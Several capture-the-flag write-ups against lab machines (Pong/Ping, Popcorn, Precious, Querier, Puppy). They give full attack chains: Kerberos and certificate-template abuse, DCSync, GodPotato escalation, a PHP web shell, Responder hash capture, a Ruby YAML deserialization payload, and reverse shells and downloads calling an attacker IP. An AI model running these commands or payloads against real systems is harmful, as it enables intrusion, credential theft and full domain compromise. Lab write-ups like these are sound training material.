from binascii import hexlify
aes256 = hexlify(string_to_key(
    constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, pw_utf8, salt).contents).decode()
aes128 = hexlify(string_to_key(
    constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, pw_utf8, salt).contents).decode()

print()
print('=' * 65)
print(f'NTLM   : {SAM}$:aad3b435b51404eeaad3b435b51404ee:{NT_HASH}')
print(f'AES256 : {SAM}$:aes256-cts-hmac-sha1-96:{aes256}')
print(f'AES128 : {SAM}$:aes128-cts-hmac-sha1-96:{aes128}')
print('=' * 65)

let’s get the TGT for the user

impacket-getTGT 'pong.htb'/'Pong_gMSA$' -aesKey 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a -dc-ip 192.168.2.2

export it and then connect to WINRM

evil-winrm -i dc1.ping.htb -r ping.htb

Possibly the Configuration is not allowing us to do WINRM

now i used claude to create script to interact with JEA environment

#!/usr/bin/env python3
"""
Connect to WinRM with Kerberos auth and a named JEA/PSSession configuration.
Usage: python3 jea_connect.py
"""
import argparse
from pypsrp.client import Client
from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan

parser = argparse.ArgumentParser(description='WinRM + Kerberos + JEA config connector')
parser.add_argument('-t', '--target',        required=True,  help='Target hostname (e.g. dc1.pong.htb)')
parser.add_argument('-u', '--username',      required=False, help='Username (omit for Kerberos ccache)')
parser.add_argument('-H', '--hash',          required=False, help='NT hash for pass-the-hash')
parser.add_argument('-p', '--password',      required=False, help='Password')
parser.add_argument('-k', '--kerberos',      action='store_true', help='Use Kerberos (uses ccache)')
parser.add_argument('-c', '--config',        required=False, default='Microsoft.PowerShell',
                                             help='PSSessionConfiguration name (e.g. restricted, JEA)')
parser.add_argument('--port',                default=5985,   type=int, help='WinRM port (5985 or 5986)')
parser.add_argument('--ssl',                 action='store_true', help='Use HTTPS/SSL')
parser.add_argument('--cmd',                 required=False, help='Single command to run and exit')

args = parser.parse_args()

def build_wsman(args):
    common = dict(
        server        = args.target,
        port          = args.port,
        ssl           = args.ssl,
        connection_timeout = 30,
        read_timeout       = 30,
    )

    if args.kerberos:
        print(f'[*] Auth       : Kerberos (ccache)')
        wsman = WSMan(
            **common,
            auth          = 'kerberos',
            negotiate_send_cbt = False,   # needed for some DCs
        )

    elif args.hash and args.username:
        # Pass-the-hash via NTLM
        print(f'[*] Auth       : NTLM pass-the-hash')
        # pypsrp doesn't do PTH natively — use requests-ntlm2
        try:
            from requests_ntlm2 import HttpNtlmAuth
        except ImportError:
            print('[-] pip install requests-ntlm2 for pass-the-hash support')
            raise
        wsman = WSMan(
            **common,
            auth     = 'ntlm',
            username = args.username,
            password = f'aad3b435b51404eeaad3b435b51404ee:{args.hash}',
        )

    else:
        print(f'[*] Auth       : NTLM password')
        wsman = WSMan(
            **common,
            auth     = 'ntlm',
            username = args.username,
            password = args.password,
        )

    return wsman

def run_interactive(pool):
    """Simple interactive shell loop inside the JEA session."""
    print('[+] Entering interactive session. Type "exit" to quit.\n')
    while True:
        try:
            cmd = input('JEA> ').strip()
        except (EOFError, KeyboardInterrupt):
            print('\n[*] Exiting.')
            break
        if cmd.lower() in ('exit', 'quit'):
            break
        if not cmd:
            continue

        ps = PowerShell(pool)
        ps.add_script(cmd)
        output = ps.invoke()

        for line in output:
            print(line)

        if ps.had_errors:
            for err in ps.streams.error:
                print(f'[!] {err}')

def main():
    print(f'[*] Target     : {args.target}:{args.port}')
    print(f'[*] Config     : {args.config}')

    wsman = build_wsman(args)

    print(f'[*] Opening RunspacePool with configuration "{args.config}"...')
    try:
        with RunspacePool(
            wsman,
            configuration_name = args.config,   # <-- this is the JEA endpoint name
        ) as pool:
            print(f'[+] Connected!\n')

            # Run available commands check first
            ps = PowerShell(pool)
            ps.add_script('Get-Command | Select-Object -ExpandProperty Name')
            cmds = ps.invoke()
            print(f'[*] Available commands in this JEA session:')
            for c in cmds:
                print(f'    {c}')
            print()

            if args.cmd:
                # Single command mode
                ps = PowerShell(pool)
                ps.add_script(args.cmd)
                output = ps.invoke()
                for line in output:
                    print(line)
                if ps.had_errors:
                    for err in ps.streams.error:
                        print(f'[!] {err}')
            else:
                # Interactive mode
                run_interactive(pool)

    except Exception as e:
        print(f'[-] Connection failed: {e}')
        raise

if __name__ == '__main__':
    main()

we can now list the commands using Get-Command *

i’ve checked multiple articles for JEA bypass but didn’t get anyhing work for me

we got following

$cred = New-Object PSCredential('pong\c.carlssen', (ConvertTo-SecureString 'A()DUJ!@414' -AsPlainText -Force))

let’s check what we are having as c.carlssen

also we found that the user is member of Remote Management Users group

so let’s try to get User’s TGT and then use it to login to DC2 on PONG.HTB

 impacket-getTGT 'pong.htb'/'c.carlssen':'A()DUJ!@414' -dc-ip 192.168.2.2

export KRB5CCNAME=c.carlssen.ccache

and then login using evil-winrm

evil-winrm -i dc2.pong.htb -r pong.htb

Bingo We got user.txt finally ;)

now let’s start post-enum as we found in the Bloodhound we are having GenericWrite on svc_sql but first we need to check if machine is having MSSQL or not

as we can see the svc_sql is having SQLAdmin permission over DC2

After some research i came across the very interesting article

A Practical Guide To RBCD Exploitation

so first we abuse GenericWrite to configure RBCD

bloodyAD -d pong.htb -u c.carlssen -k --host dc2.pong.htb add rbcd 'svc_sql' 'Pong_gMSA$'

now let’s use the above command and configure the RBCD

again if we check the Bloodhound we found another interesting group

and there’s 2 member of that group let’s impersonate the p.reiner

impacket-getST -k -no-pass  -spn 'mssqlsvc/dc2.pong.htb'   -impersonate 'P.Reiner'  -dc-ip 192.168.2.2 'pong.htb/Pong_gMSA$

now we can login using mssql

impacket-mssqlclient -k -no-pass Pong.htb/P.Reiner@mssqlsvc_dc2.pong.htb@DC2.pong.htb

first thing i try to is enable_xm_cmdshell

enable_xp_cmdshell

and bingo we got the command execution, as we are running as service account let’s check if we have SeImpersonatePrivilege

we can see that we are having the SeImpersonatePrivilege using winrm shell let’s upload the GodPotato and add the c.carlssen into administrators.

now from svc_sql shell let’s run the GodPotato

xp_cmdshell C:\temp\GodPotato-NET4.exe -cmd 'whoami'

now let’s add ourselves into Administrators group

xp_cmdshell C:\temp\GodPotato-NET4.exe -cmd "net localgroup Administrators c.carlssen /add"

request the new TGT

impacket-getTGT 'pong.htb'/'c.carlssen':'A()DUJ!@414' -dc-ip 192.168.2.2

and then use psexec to get shell

impacket-psexec -k -no-pass pong.htb/c.carlssen@DC2.pong.htb

Le’t get the root.txt

LoL no root.txt 😟

as we know our full attack is not completed yet

so now we need to take the user R.Martinelli

using DCSync we can get NTLM and AES-KEY of the user

impacket-secretsdump -k -no-pass pong.htb/c.carlssen@DC2.pong.htb -just-dc-user R.Martinelli

now let’s get the TGT for the R.Martinelli

impacket-getTGT 'pong.htb'/'R.Martinelli' -aesKey 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 -dc-ip 192.168.2.2

we can see that CA MANAGERS is having GenericWrite, WriteDACL and WriteOwner on SMARTCARDAUTHENTICATION template

i was getting too many errors related to REALMS as we are dealing with cross-domain realms

moved to another tool i’ve used the bloodyAD to first give genericAll to c.roberts user

bloodyAD --host dc1.ping.htb --dc-ip 10.129.36.102 --dns 10.129.36.102 -d PONG.HTB -u R.Martinelli -p 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 -f aes -k kdc=192.168.2.2 kdcc=10.129.36.102 realmc=PING.HTB -v INFO add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' 'S-1-5-21-750635624-2058721901-1932338391-2617'

ADCSESC4 - SpecterOps

ADCS Attack Series: Abusing ESC4 via Template ACLs for Privilege Escalation

now we can use this article to abuse the ADCS-ESC4

after giving C.Roberts GenericAll we can use findcommand again to check what if it reflected or not

and we can see that it is vulnerable to ESC4 now 🙂

following the article now we need to first take backup (No need but i’m taking any case it it not work we can restore it without resetting whole machine)

certipy-ad template -u "c.roberts@ping.htb" -k  -no-pass -dc-host dc1.ping.htb -target dc1.ping.htb -template 'SmartCardAuthentication' -save-configuration ESC4-original

so we can convert the ESC4 → ESC1

certipy-ad template -u "c.roberts@ping.htb" -k  -no-pass -dc-host dc1.ping.htb -target dc1.ping.htb -template 'SmartCardAuthentication' -write-default-configuration

let’s check if our changes applied successfully or not so we’ll use the find command again to check

certipy-ad find -u c.roberts -k -no-pass -dc-host dc1.ping.htb

let’s abuse the ESC1 now

certipy-ad req -u "c.roberts@ping.htb" -k  -no-pass -dc-host dc1.ping.htb -target dc1.ping.htb -ca 'ping-DC1-CA' -template 'SmartCardAuthentication' -upn administrator@ping.htb

let’s first try to get NT hash

certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.36.117

searching for solution i found

NHA Lab Write-Up — From Web to Domain Admin (Twice)

we have to add the SID as well of the Administrator user we can get that from bloodhound

S-1-5-21-750635624-2058721901-1932338391-500

re-run the command again, but this time with -sid

certipy-ad req -u "c.roberts@ping.htb" -k  -no-pass -dc-host dc1.ping.htb -target dc1.ping.htb -ca 'ping-DC1-CA' -template 'SmartCardAuthentication' -upn administrator@ping.htb -sid 'S-1-5-21-750635624-2058721901-1932338391-500'

and now we can try to get NTLM hash using authcommand

certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.36.117

but we requires the ccache file to authenticate with winrm

python gettgtpkinit.py PING.HTB/administrator -cert-pfx administrator.pfx -pfx-pass "" administrator.ccache

and now loging with winrm

evil-winrm -i dc1.ping.htb -r ping.htb

Popcorn

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Popcorn
OS Type: Linux
Difficulty: Medium

Port Scanning - Service & Version Enumeration

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/DzZClqfNfiqrZRACYXsquSAab512kkl+X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+mOG4irtAmAXwPoO5IQJmP0WOgkr+3x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgvpimA+wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
|   2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+M1OmPFaUPTKiPVP9co0DEzq0RAC+/T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw/Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.2.12
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://popcorn.htb/
|_http-server-header: Apache/2.2.12 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80 which is running website

looks like it only allows access using hostname, let’s add the entry in /etc/hosts file and then refresh the webpage

i’ll check the website technology using whatweb

whatweb http//popcorn.htb

let’s run gobuster to fuzz for files and directories

gobuster dir -u http://popcorn.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

let’s check the /test first

it has the phpinfo page, let’s keep this info in our back-pocket and move to another directory /torrent

create account and then login using created account’s creds

after loging in i found the upload section which we can use to upload the torrent files

Note: If you need automate exploit to exploit vulnerability → https://github.com/Anon-Exploiter/exploits/blob/master/torrent_hoster_unauthenticated_rce.py

we are going to find and exploit it manually, open the burpsuite and start the proxy

after trying to upload the txt file it says it’s not valid torrent file

if we navigate to browse option we found the already uploaded torrent named “kali Linux”

after clicking the download we found that it uses the standard torrent extension (.torrent)

so i’ve created simple php shell with .torrent extension

now let’s try to upload the torrent file

but i faced same issue looks like it is also checking the file type and contents let’s upload the downloaded torrent and give it another name

it shows the torrent is already exist

then i used online torrent generator website to generate a torrent file → https://kimbatt.github.io/torrent-creator/

create simple file on kali with any content i created 0xh3x file and upload it to website and convert it to torrent

and this time torrent uploaded successfully

go to browse and then select uploaded torrent we found the option to edit torrent which allows us to upload the screenshot!

create a shell.jpg file with following contents.

<?php system($_GET['cmd']); ?>

then upload the shell.jpg

intercept the request and change file name to shell.php and then forward the request it will successfully upload the shell.php as screenshot

hover on the screenshot section and we’ll find the url to access screenshot

access the url

and we got RCE on the system let’s get the shell using below command

start netcat listener on port 443 before executing below command

nc 10.10.14.17 443 -e /bin/bash

get TTY shell using

python -c 'import pty;pty.spawn("/bin/bash");'

we found user.txt inside the /home/george/user.txt

after gaining shell on the machine i started enumerating system for intersting files i found database creds inside the config.php file

let’s check if mysql service running or not using ss -tunlp command

to troubleshoot this issue we need to first add /sbin directory to $PATH variable

export PATH=$PATH:/sbin

and then run ss -tunlp again

great we can see that the mysql server is running let’s login using credentials we’ve founded in config.php file

we found the password in database but was not crackable

then i ran linpeas.sh and found interesting PAM MOTD vulnerability

https://www.exploit-db.com/exploits/14339 download exploit from exploitdb and transfer it to target machine

give it execute permissions chmod +x 14339.sh

Precious

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Precious
Difficulty: Easy
OS Type: Linux

Port Scanning - Service & Version Enumeration

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

port 80 is running http website,, i open URL in web browser

Hmm, need to add this to /etc/hosts file

echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts

and now refresh the page

let’s try by starting our python http server on kali machine and send request from this website

we got connection back to our machine

let’s dig deep into the application, first i’ll check what web technologies is running using whatweb

	whatweb http://precious.htb/

in backend it’s running ruby on rails and Phusion Passenger, searching for exploit i didn’t find anything useful, let’s check website’s functionaity and behaviour first i’ll create a simple html file to generate the pdf and try to analyze that

<html>
   <head>
       <title>test</title>
   </head>
   <body>
       <test</h1>
       <img src=x>
   </body>
</html>

and servs it over python http server

accessing it got the error and when checking on the http web server i found it also request x file

to resolve this let’s just create a black x file with touch

touch x

and if we try again, we got pdf generated

i’ll try to analyze the file using exiftool

exiftool ~/Downloads/ea3xg26ufcr3p98d2ism9jlphrlrjvnl.pdf

searching for exploit i found https://www.exploit-db.com/exploits/51293

and reading through exploit i found that we can inject commands in website like http://%20ping -c 1 10.10.14.17``

and we can capture ICMP traffic on our machine using

sudo tcpdump -i tun0 icmp -v

and we got ping request means our command gets executed, to ger reverse shell i used - http://%20bash -c 'bash -i >& /dev/tcp/10.10.14.17/443 0>1&'`` and we got connection on our listener but it disconnects and says permission denied

used http://%20busybox nc 10.10.14.17 443 -e /bin/bash`` and got shell connection

further enumeration reveals the credentials of henry user in /home/ruby/.bundle/config

let’s use this password to login as henry

ssh henry@10.10.11.189

after getting shell as henry

running sudo -l to find if user has any permissions to run any command as root using sudo - sudo -l

let’s read the file contents

i found the exploit note for ruby privilege escalation

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ruby-privilege-escalation/

the above article says that as the file is loading dependencies.yml we can create malicious file that contains below code, as we can see it’s not specifying full path so it will firstly search for file in current working directory

i’m creating dependencies.yml in /tmp folder

- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.17/1337 0>&1'"
         method_id: :resolve

and run sudo /usr/bin/ruby /opt/update_dependencies.rb

got a root shell

Querier

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Querier
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Wed Apr 23 08:15:17 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.125
Nmap scan report for 10.10.10.125
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-04-23 08:15:18 IST for 156s
Not shown: 65419 closed tcp ports (reset), 102 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.125:1433: 
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-23T02:38:04
| Not valid after:  2055-04-23T02:38:04
| MD5:   7d4c:4ef8:83ce:86f9:32fc:f521:81a3:4ee7
| SHA-1: c911:8912:55b2:3de7:1f54:fd70:b249:7f61:8d90:98b9
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQUr+0My3TdohHSNRNwSqqpjANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwNDIzMDIzODA0WhgPMjA1NTA0MjMwMjM4MDRaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3hwLvA
| Z3u12v2XM8xQC8DjTMe3Rm8sxqPxzBqo1hX9pMVHKB1naIExI1n6gXPhlcKFmNes
| bfwuyE96344+u5gLikHji2JrZQ9+IWvvNw5C409ZNWfLZqYtlcRtqAxQwRS3BBRX
| mI5NEFbv+RkdLOYSTmgR5TgtDwZu5YpDo/AGJmOpy73QFGI4CsTIUCXGujpc/o6r
| SrFkgMZsJF6OFi953NDg2hP++ul813+gIuRQuI35xc/sQsRXjgQ2qd7OPsMVNfRA
| MqzRLPhAxybjhCeNYQJOTHB/OU9GyQvdyAytnJwTCUlLB4NzUi5TWiA/GfjRMI/5
| SgscIQuDGbZgF80CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEANomGIy4Nb/S8p2uN
| O6xUQRq1bmaKKfrJ6+QlsnWkXeiHCaq0GZ49/LuyOLVobXB6E+u9+MHNVk2bCyoK
| 4x7vb1isXTcHihsP7WKnryUb76NtxlA/O9MzEzRa10VZnXFTCrMdz1SqtXsQrGT3
| HQ75ukcXGHTE1sMuLuCYR7kbbTnkC5+zhMNCYbSPvutLcjrXw/uYPWnzYwvLdU0I
| xbHOXfXtRWo5ibSf5FvJNfBJMa47qnj4ld6Uh+b4VRRjHzA02Es/UP26RF4saYP1
| tXZRXwciBuBa1oxSJdztKHIefqrBP/Y9UVcDB/e0ZWPoJus/Dptrm+RQHa7r5y7+
| elJctA==
|_-----END CERTIFICATE-----
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-04-23T02:47:54+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-23T02:47:44
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 10624/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 37573/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 40571/udp): CLEAN (Failed to receive data)
|   Check 4 (port 54847/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 23 08:17:54 2025 -- 1 IP address (1 host up) scanned in 157.30 seconds

Enumeration

Port 139,445/SMB

Let’s start our enumeration from SMB, i’ll first check for Null session

smbclient -L //10.10.10.125 -N

i found non-default windows share Reports let’s looks into it

smbclient //10.10.10.125/Reports -N

download file via

get "Currency Volume Report.xlsm"

However, the Excel file is Blank What now? let’s try analyzing file for more information

i’ll check for macros,

go to View > Macros > View Macro

type any name and click on create this will bring us to macro editor

Select ThisWorkBook and inspect the macro code we found the database credentials as we found that the port 1433 (MSSQL) is open on target machine i’ll use these creds to login to MSSQL

impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

let’s try to enable xp_cmdshell using enable_xp_cmdshell command from impacket-mssqlclient console

let’s see what other options are available using help command

let’s try to run xp_dirtree to see if we can list the files

when i see xp_dirtree working i think about stealing ntlm hash of the user using responder let’s start responder to listen on tun0 interface

sudo responder -I tun0 -v

and execute xp_dirtree \\<kaliip>\test

xp_dirtree \\10.10.14.17\test

check the responder console and you probably able to get the NTLM hash of the user

here it is, let’s use hashcat to crack the hash

hashcat -m 5600 svc-mssql.hash /usr/share/wordlists/rockyou.txt

YOU SAID IT HASHCAT CRACKED IT!!

let’s use this creds to move further, i’ve first tried to enumerate more users from machine using mssql-svc user’s creds

netexec smb 10.10.10.125 -u mssql-svc -p  corporate568 --local-auth --users

Note: We’ve specified the --local-auth as it is not Active Directory related machine

but no success, let’s try to login again as mssql-svc using impacket-mssqlclient

now let’s try to enable XP_CMDSHELL again

Bingo!!, we’ve now Command execution

It’s time to get shell, using sweet and cute nc.exe

SQL (QUERIER\mssql-svc  dbo@master)> **xp_cmdshell "curl http://10.10.14.17/nc.exe -o \users\public\nc.exe"**

and then execute nc.exe to get reverse shell

SQL (QUERIER\mssql-svc  dbo@master)> **xp_cmdshell "\users\public\nc.exe 10.10.14.17 443 -e cmd.exe"**

got the reverse shell on port 443!

we can read user.txt C:\Users\mssql-svc\Desktop\user.txt

let’s check what privileges we have, as we are running as service user there’s high chance we’ll get SeImpersonatePrivilege enabled

and there it is let’s use GodPotato transfer godpotato to target machine via curl and python http server

curl http://10.10.14.17/GodPotato-NET4.exe -o god.exe

let’s run whoami command to see what user it is running as expected is NT Authority\SYSTEM

god.exe -cmd whoami

great!, let’s use netcat and get the shell, start netcat listener on port 445 using rlwrap nc -nvlp 445

run god.exe to execute nc.exe to connect to kali on port 445 with reverse shell!

god.exe -cmd "\users\public\nc.exe 10.10.14.17 445 -e cmd"

reverse shell connection on port 445

Puppy

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Puppy
OS Type: Windows
Difficulty: Intermediate

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Sun May 18 12:33:41 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2025-05-18 12:33:41 IST for 1449s
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-18 14:24:32Z)
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
